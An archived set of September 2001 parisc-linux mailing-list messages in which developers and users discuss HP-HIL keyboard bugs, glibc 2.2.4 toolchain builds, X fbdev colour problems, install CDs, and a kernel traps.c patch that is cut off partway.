Received: from onet2.cup.hp.com (onet2.cup.hp.com [15.255.208.3])
	by winfree.gag.com (Postfix) with ESMTP id A0D0A24D02
	for <bdale@gag.com>; Thu, 13 Sep 2001 08:26:00 -0600 (MDT)
Received: from internet.garaventa.ch (unknown [194.209.7.20])
	by onet2.cup.hp.com (Postfix) with ESMTP id 55C2418CF6
	for <bdale@gag.com>; Thu, 13 Sep 2001 07:25:58 -0700 (PDT)
Message-ID: <AB7A68BE49F8D411B5D4001083FD53042EEF6A@EXCHANGE>
From: Bieri Stefan <Stefan.Bieri@garaventa.com>
To: 'Bdale Garbee' <bdale@gag.com>
Subject: AW: AW: AW: PARISC-Linux
Date: Thu, 13 Sep 2001 16:01:54 +0200
X-UIDL: 4949bc0cdaa5747743cfac013eb2d015
Lines: 34
Xref: rover.gag.com inbox:18476
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hi,

I have installed now the parisc-linux with X-Window System. The Problem I
have, I've got a hp hil keyboard, that don't function without problems. i've
got a german layout. the problem i have, the "i" and the "o" keys do not
function.

Can you help me ?

Best regards,
Bieri Stefan
GARAVENTA AG

-----Urspr=FCngliche Nachricht-----
Von: Bdale Garbee [mailto:bdale@gag.com]
Gesendet: Mittwoch, 12. September 2001 17:35
An: Bieri Stefan
Betreff: Re: AW: AW: PARISC-Linux


Bieri Stefan <Stefan.Bieri@garaventa.com> writes:

> I have only one question: how du I start the apt toolset ?

You can either use apt-get on the command, line or for a new install, I=20
suggest using 'dselect' and picking the apt mode.

Bdale



--=-=-=--




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bieri Stefan <Stefan.Bieri@garaventa.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-Hil Keyboard
Date: Fri, 14 Sep 2001 10:22:04 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <AB7A68BE49F8D411B5D4001083FD53042EEF6F@EXCHANGE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620480 25536 80.91.229.3 (22 Nov 2014 01:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:20 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 02:24:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from internet.garaventa.ch (unknown [194.209.7.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id B441F484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Sep 2001 02:24:23 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12182

Hi,

I have installed the parisc-linux with X-Window System. The Problem I =
have,
I've got a hp hil keyboard, that don't function without problems. I =
have a
german layout. the problem I have, the "i" and the "o" keys do not =
function.

Can you help me ?

Best regards,
Bieri Stefan
GARAVENTA AG


> Mit freundlichen Gr=FCssen
> GARAVENTA AG
> Stefan Bieri
>=20
> Telefon:	+41 41 859 11 11
> Telefon (direkt):	+41 41 859 11 61
> Fax:		+41 41 859 11 00
> Email:		stefan.bieri@garaventa.com
>=20
> Besuchen Sie uns doch auf dem Internet unter:
> http://www.garaventa.com
>=20




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc2.2.4-1
Date: Fri, 14 Sep 2001 11:23:53 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <20010914112352.A1491@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620480 25542 80.91.229.3 (22 Nov 2014 01:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:20 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 09:24:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from onet2.cup.hp.com (onet2.cup.hp.com [15.255.208.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C0834879
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 09:24:32 -0600 (MDT)
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by onet2.cup.hp.com (Postfix) with ESMTP id 564C418D20
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 08:24:03 -0700 (PDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8EFaAG06121;
	Fri, 14 Sep 2001 11:36:10 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8EFNr705533;
	Fri, 14 Sep 2001 11:23:53 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (72% Sync Ratio [=======...])
Xref: news.gmane.org gmane.linux.ports.parisc:12183

M,

Just a quick update. I've been recently inundated with the start of
school and phazing life back into a fast flowing stream is never easy ;)

Recent progression:

I finally built the full toolchain.

- Latest Binutils
- Latest GCC
- Latest Glibc 2.2.4-1

Carried out all the 0list patches by hand, in order.

x glibc-vs-gcc3
x db1-addon-enabler
x manual-texinfo4
x ldd
x glibcbug
x hurd-ldflags
x fhs-linux-paths
x pthread_create-manpage
x string2-pointer-arith
x glibc22-nss-upgrade
x glibc22-getaddrinfo
- glibc22-hppa
./sysdeps/ia64/dl-fptr.c.rej

x glibc22-eo_EO
x glibc22-m68k-compat
x glibc22-m68k-fpic
x glibc22-locales
x sparc64-fixups
x glibc22-fts
x glibc22-getdents-fix

It looks like ./sysdeps/ia64/dl-fptr.c is completely different!
I get 7 hunks failed on that file. All the reentrant ifdef's are
gone, and the structure of the file is totally different.

I've ignored those patch failures since there was no visible way
to merge them.

I also installed linuxthreads and the db1 addon.
Which mandated some minor changes to a few header includes for db1 :}

I've compiled 2.4.9-pa16 with the toolchain, and for the first time
ever... I saw a small framebuffer penguin... and it almost brought
me to tears ;)

I have 712/60's and 715/50's running the newer kernel. All of them
are doing much better, and running far faster than ever before.

-----------------------------------------------------
On to testing and building the deb for glibc 2.2.4-1
-----------------------------------------------------

I tried to apt-get -f dist-upgrade
Which again failed on "trying to install a non-directory"
(No segfaults this time around)

For future referance, you can fix this by creating a dummy directory
with the name of the directory that you are failing with.

I've fully apt-get'd my 712/60 from the baseplus tarball with
no apparent problems.

Though lately ksoftirqd seems to eat ~99% of my CPU on idle.

---

Anything I should watch for when building the deb for glibc 2.2.4-1?
It may take quite a while on my 712/60.

I'll get back you when I've finished and tested.

Cheers,
Carlos.




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc2.2.4-1
Date: Fri, 14 Sep 2001 17:35:09 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20010914173509.H26658@parcelfarce.linux.theplanet.co.uk>
References: <20010914112352.A1491@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620480 25545 80.91.229.3 (22 Nov 2014 01:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:20 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 10:35:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BABC54879
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 10:35:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hvvp-0006nW-00; Fri, 14 Sep 2001 17:35:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010914112352.A1491@megatonmonkey.net>; from carlos@megatonmonkey.net on Fri, Sep 14, 2001 at 11:23:53AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12184

On Fri, Sep 14, 2001 at 11:23:53AM -0400, Carlos O'Donell Jr. wrote:
> It looks like ./sysdeps/ia64/dl-fptr.c is completely different!
> I get 7 hunks failed on that file. All the reentrant ifdef's are
> gone, and the structure of the file is totally different.
> 
> I've ignored those patch failures since there was no visible way
> to merge them.

Yep, I just ignored it for the moment.  The morally-equivalent change
will have to be made to that file to eliminate testandset, but it's
irrelevant to getting glibc working.

> I've compiled 2.4.9-pa16 with the toolchain, and for the first time
> ever... I saw a small framebuffer penguin... and it almost brought
> me to tears ;)
> 
> I have 712/60's and 715/50's running the newer kernel. All of them
> are doing much better, and running far faster than ever before.
> 
> Though lately ksoftirqd seems to eat ~99% of my CPU on idle.

You need to upgrade to latest CVS -- Richard found & fixed that problem.

> Anything I should watch for when building the deb for glibc 2.2.4-1?
> It may take quite a while on my 712/60.

Yes, when we tried a few weeks ago, glibc 2.2.3-9 would no longer build
with the gcc in the archive.  So we need gcc to be updated before we
can hope to build 2.2.4-1.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New i386 cross compilers
Date: Fri, 14 Sep 2001 11:19:46 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20010914171946.514203806C@carmen.fc.hp.com>
References: <20010908040516.1AA5637DD4@carmen.fc.hp.com>  
 <20010908152913.B9613@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620481 25549 80.91.229.3 (22 Nov 2014 01:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:21 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 11:19:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD6D9484A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 11:19:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 0F9CB1487; Fri, 14 Sep 2001 13:19:47 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 514203806C; Fri, 14 Sep 2001 11:19:46 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@megatonmonkey.net> 
   of "Sat, 08 Sep 2001 15:29:13 EDT." <20010908152913.B9613@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12185

"Carlos O'Donell Jr." writes...

> > Hi palinux people,
> > 
> > ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010905.tar.g
> z
> > 
> > Untar it from / it lives in /opt/palinux/
> > Report any problems to the list.

Oops! The message you just posted made me realize I never responded to this 
message. Sorry.

I used

- binutils upstream
- pehc gcc
- glibc I got from willy (debian 2.2.4 source + things willy hasn't added?)
- glibc headers from current debian hppa glibc package
- kernel headers from pehc
- autobuilder from pehc:build-tools/palinux-autobuilder (cvs up turned off)

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-Hil Keyboard
Date: Fri, 14 Sep 2001 20:41:42 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20010914184210.A56BD484A@dsl2.external.hp.com>
References: <AB7A68BE49F8D411B5D4001083FD53042EEF6F@EXCHANGE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620481 25554 80.91.229.3 (22 Nov 2014 01:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:21 +0000 (UTC)
To: Bieri Stefan <Stefan.Bieri@garaventa.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 12:42:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A56BD484A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Sep 2001 12:42:10 -0600 (MDT)
Original-Received: (qmail 31210 invoked by uid 0); 14 Sep 2001 18:42:09 -0000
Original-Received: from pd90403d6.dip.t-dialin.net (HELO there) (217.4.3.214)
  by mail.gmx.net (mp001-rz3) with SMTP; 14 Sep 2001 18:42:09 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <AB7A68BE49F8D411B5D4001083FD53042EEF6F@EXCHANGE>
Xref: news.gmane.org gmane.linux.ports.parisc:12186

Hi Stefan,

This is a known problem, into which nobody has looked yet.
Maybe you want to investigate yourself and report us the bug ?
I assume it's a bug somewhere in the X keyboard tables...

Furthermore the current X fbdev-driver has a bug with the color-table
(palette) which aren't solved yet either :-(

Helge

On Friday 14 September 2001 10:22, Bieri Stefan wrote:
> Hi,
>
> I have installed the parisc-linux with X-Window System. The Problem I have,
> I've got a hp hil keyboard, that don't function without problems. I have a
> german layout. the problem I have, the "i" and the "o" keys do not
> function.
>
> Can you help me ?
>
> Best regards,
> Bieri Stefan
> GARAVENTA AG
>
> > Mit freundlichen Grssen
> > GARAVENTA AG
> > Stefan Bieri
> >
> > Telefon:	+41 41 859 11 11
> > Telefon (direkt):	+41 41 859 11 61
> > Fax:		+41 41 859 11 00
> > Email:		stefan.bieri@garaventa.com
> >
> > Besuchen Sie uns doch auf dem Internet unter:
> > http://www.garaventa.com
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The keyboard...
Date: Fri, 14 Sep 2001 21:27:23 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3BA25A1B.B173A828@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620481 25557 80.91.229.3 (22 Nov 2014 01:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:21 +0000 (UTC)
To: Hppa <debian-hppa@lists.debian.org>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 13:27:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from onet2.cup.hp.com (onet2.cup.hp.com [15.255.208.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4E748CD
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 13:27:04 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by onet2.cup.hp.com (Postfix) with ESMTP id A0D2118D31
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 12:27:03 -0700 (PDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id B8965D15A6; Fri, 14 Sep 2001 21:24:28 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12187

Hi all,

	I'm sorry but this message is not a new release :( Anyway, since I
can't get access to parisc-linux.org, I would like to know if someone
could confirm me that this is a good behaviour:

In boot_admin, you hit some keys and then you hit Esc. After that, the
console do not print any more characters. You have to hit Enter key to
get back to a new command line and you can do anything then.

Thanks for answering to this, Thomas
ESIEE Team

PS: Since I can't read from p-l.org, could reply to debian mailing-list.




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to create a Install CD
Date: Fri, 14 Sep 2001 16:20:59 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200109142220.QAA00437@puffin.external.hp.com>
References: <nagaraj_dandeboyina@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620482 25561 80.91.229.3 (22 Nov 2014 01:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "DANDEBOYINA,NAGARAJ (Non-HP-Cupertino,     ex1)" <nagaraj_dandeboyina@non.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 14 16:23:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D17B1482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Sep 2001 16:23:26 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA00437;
	Fri, 14 Sep 2001 16:20:59 -0600
In-Reply-To: Message from "DANDEBOYINA,NAGARAJ (Non-HP-Cupertino,ex1)" <nagaraj_dandeboyina@non.hp.com> 
   of "Fri, 14 Sep 2001 16:34:32 EDT." <580F4ACFCD8F4E439B06B815110418C788509A@xcup03.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12188

"DANDEBOYINA,NAGARAJ (Non-HP-Cupertino,ex1)" wrote:
> Hi There,
>    I downloaded 0.9.2 CD Install ISO file from
> http://parisc-linux.org/release-0.9/index.html and I wrote a CD,but I failed
> to run installer on my A500 system.Is there any trick to create the CD.

Not that I'm aware of. Typical problems include MS OS's corrupting
the download - check the md5sum output.

> If it
> is there can you send me the proper procedure and software links which are
> helpful to write a cd.

The mail archive on http://lists.parisc-linux.org is worth searching.

>    How about getting LILO equilent for PA-RISC system when we are writing
> bootable CD?

Look for PALO - it is the LILO equivalent for parisc.
See  http://puffin.external.hp.com/cgi-bin/cvsview/palo/

grant




From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Odd X display
Date: Fri, 14 Sep 2001 22:08:16 -0800 (AKDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109142153120.25368-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620482 25565 80.91.229.3 (22 Nov 2014 01:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:22 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 15 00:14:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22252482A
	for <parisc-linux@parisc-linux.org>; Sat, 15 Sep 2001 00:14:47 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GJOXCN00.ZI4 for
          <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 22:14:47 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GJOXCO03.E7A for <parisc-linux@parisc-linux.org>; Fri, 14 Sep
          2001 22:14:48 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA17342
	for <parisc-linux@parisc-linux.org>; Fri, 14 Sep 2001 22:08:16 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:12189

First of all, big thanks to all for the latest patches to the kernel. It
appears that my 715/100 is *finally* completely working - keyboard
included. Even XF86 works now, except for a weird display. It appears that
the color depth or refresh is wrong, but I'm not sure how it can be. The
monitor is a HP A1097C, 1280x1024x8, 78.125/72.008 h/v refresh. I'm using
fbdev for the driver, the boot shows that as the detected frame buffer...
But I get a semi-scrambled display. (Not like I'm out of refresh, more
like the color depth is wrong...) Unreadable, no mouse... I thought at
first I had a bad window manager, but it happens with KDE, icewm,
enlightenment and fvwm95.

My config and boot can be seen at ftp://ftp.alaskatech.org/XF86Config-4
and ftp://ftp.alaskatech.org/dmesg.txt if they'll help. I don't recall
anything like this being posted on here yet, so I'm thinking it's
something in my config that's wrong, and that I don't recognize since most
of what I do is x86, not PA-RISC...

Any help much appreciated.





From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd X display
Date: Sat, 15 Sep 2001 09:12:49 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20010915071325.DB8EF482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0109142153120.25368-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620482 25567 80.91.229.3 (22 Nov 2014 01:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:22 +0000 (UTC)
To: Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 15 01:13:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id DB8EF482A
	for <parisc-linux@parisc-linux.org>; Sat, 15 Sep 2001 01:13:25 -0600 (MDT)
Original-Received: (qmail 3672 invoked by uid 0); 15 Sep 2001 07:13:24 -0000
Original-Received: from pd9040d9e.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.158)
  by mail.gmx.net (mp001-rz3) with SMTP; 15 Sep 2001 07:13:24 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <Pine.LNX.4.33.0109142153120.25368-100000@goliath.alaskatech.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12190

Hi Tom,

On Saturday 15 September 2001 08:08, Tom wrote:
> First of all, big thanks to all for the latest patches to the kernel. It
> appears that my 715/100 is *finally* completely working - keyboard
> included. Even XF86 works now, except for a weird display. It appears that
> the color depth or refresh is wrong, but I'm not sure how it can be. The
> monitor is a HP A1097C, 1280x1024x8, 78.125/72.008 h/v refresh. I'm using
> fbdev for the driver, the boot shows that as the detected frame buffer.

The current XF86 fbdev driver has a bug, which seems to not initialize 
the color-table correctly (at least on PA). If you start for example xmag 
and xgalaga at the same time and then switch between the windows 
you will get the correct colors.
Furthermore support for the HIL mouse is still missing, but you
may use an old serial mouse and use it instead for now.
Some PA machines have PS/2 mouse and keyboards, which I
think will work correctly. I don't have such a machine so that I really
can't confirm this.

> .... I don't recall
> anything like this being posted on here yet, so I'm thinking it's
> something in my config that's wrong, and that I don't recognize since most
> of what I do is x86, not PA-RISC...

It has been posted a few times already, but I think someone should
maybe report it upstream at some point...

Helge


From - Thu Nov 08 21:19:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Getting up and running
Date: Sat, 15 Sep 2001 18:00:47 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20010915180047.M26658@parcelfarce.linux.theplanet.co.uk>
References: <20010915143506.A431@dogbert.localdomain> <20010915142000.L26658@parcelfarce.linux.theplanet.co.uk> <20010915152407.A698@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620482 25570 80.91.229.3 (22 Nov 2014 01:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:22 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 15 11:00:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B57E482A
	for <parisc-linux@parisc-linux.org>; Sat, 15 Sep 2001 11:00:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15iIoB-0002CM-00; Sat, 15 Sep 2001 18:00:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010915152407.A698@dogbert.localdomain>; from fullung@ilink.nis.za on Sat, Sep 15, 2001 at 03:24:07PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12191

On Sat, Sep 15, 2001 at 03:24:07PM +0200, Albert Strasheim wrote:
> Is someone actively working on this? I would only be too happy to help
> test any patches on this machine.

How does this look?  I can't test it because I don't have a 720-era machine,
but it ought to work, I think...

Index: traps.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/traps.c,v
retrieving revision 1.52
diff -u -p -r1.52 traps.c
--- traps.c	2001/09/06 09:44:07	1.52
+++ traps.c	2001/09/15 16:52:13
@@ -322,6 +322,11 @@ void handle_interruption(int code, struc
 		fault_address = regs->ior;
 		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
 
